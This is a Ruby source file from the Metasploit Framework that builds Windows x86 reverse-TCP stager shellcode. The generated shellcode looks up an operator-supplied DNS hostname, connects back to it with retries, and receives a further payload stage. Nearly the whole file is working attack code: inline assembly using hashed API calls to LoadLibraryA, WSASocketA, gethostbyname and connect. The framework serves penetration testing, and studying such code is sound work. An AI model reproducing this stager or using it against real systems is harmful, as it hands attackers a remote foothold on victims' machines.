lib/msf/core/payload/windows/reverse_tcp_dns.rb
# -*- coding: binary -*-
module Msf
###
#
# Complex reverse_tcp payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseTcpDns
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseTcp
#
# Register dns specific options
#
def initialize(*args)
super
# Overload LHOST as a String value for the hostname
register_options([ OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) ], self.class)
end
#
# Generate the first stage
#
def generate(_opts = {})
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
if self.available_space && cached_size && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_tcp_dns(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_tcp_dns(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp_dns(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Integer] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Integer] :retry_count Number of retry attempts
#
def asm_reverse_tcp_dns(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this struct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
create_socket:
call got_hostname
hostname:
db "#{opts[:host]}", 0x00
got_hostname:
push #{Rex::Text.block_api_hash( "ws2_32.dll", "gethostbyname" )}
call ebp ; gethostbyname( "name" );
set_address:
mov eax, [eax+28] ; names
push #{retry_count} ; retry counter
push eax ; host address
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
asm << asm_send_uuid if include_send_uuid
asm
end
end
end